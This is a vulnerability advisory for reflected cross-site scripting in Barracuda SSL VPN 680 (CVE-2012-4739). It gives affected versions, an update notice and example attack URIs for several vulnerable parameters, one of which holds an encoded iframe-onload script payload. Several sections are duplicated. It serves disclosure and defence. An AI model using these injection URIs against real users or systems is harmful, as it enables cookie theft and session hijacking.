Barracuda SSL VPN 680 Multiple Cross Site Scripting Vulnerabilities
BID:54593
Info
Barracuda SSL VPN 680 Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 54593 |
| Class: | Input Validation Error |
| CVE: |
CVE-2012-4739 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 18 2012 12:00AM |
| Updated: | Sep 03 2012 11:50AM |
| Credit: | Benjamin Kunz Mejri of Vulnerability Research Laboratory |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Barracuda SSL VPN 680 Multiple Cross Site Scripting Vulnerabilities
Barracuda SSL VPN 680 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Barracuda SSL VPN 680 versions prior to 2.2.2.203 are vulnerable.
Barracuda SSL VPN 680 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Barracuda SSL VPN 680 versions prior to 2.2.2.203 are vulnerable.
Exploit / POC
Barracuda SSL VPN 680 Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are avaialble:
www.example.com/resourceList.do?form=resourceCategoriesForm&readOnly=test&path=
%2FshowUserResourceCategories.do&messageResourcesKey=resourceCategory&actionPath=[NON-PERSISTENT SCRIPT CODE!]
www.example.com/[FILE].do?[VALUE #1]=l52ca6d&[VALUE #2]=[VALUE #3]&[PATH LISTING]=smb/Sales%20Folder/Opt/[NON-PERSISTENT SCRIPT CODE!]
www.example.com/fileSystem.do?launchId=l52ca6d&actionTarget=list&path=smb/Sales%20Folder/Testing %20from%20Tri%20Opt/%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
www.example.com/launchAgent.do?launchId=l3ce418&returnTo=[NON-PERSISTENT SCRIPT CODE!]
Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following example URIs are avaialble:
www.example.com/resourceList.do?form=resourceCategoriesForm&readOnly=test&path=
%2FshowUserResourceCategories.do&messageResourcesKey=resourceCategory&actionPath=[NON-PERSISTENT SCRIPT CODE!]
www.example.com/[FILE].do?[VALUE #1]=l52ca6d&[VALUE #2]=[VALUE #3]&[PATH LISTING]=smb/Sales%20Folder/Opt/[NON-PERSISTENT SCRIPT CODE!]
www.example.com/fileSystem.do?launchId=l52ca6d&actionTarget=list&path=smb/Sales%20Folder/Testing %20from%20Tri%20Opt/%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
www.example.com/launchAgent.do?launchId=l3ce418&returnTo=[NON-PERSISTENT SCRIPT CODE!]
Solution / Fix
Barracuda SSL VPN 680 Multiple Cross Site Scripting Vulnerabilities
Solution:
Updates are available. Please see the references for details.
Solution:
Updates are available. Please see the references for details.
References
Barracuda SSL VPN 680 Multiple Cross Site Scripting Vulnerabilities
References:
References: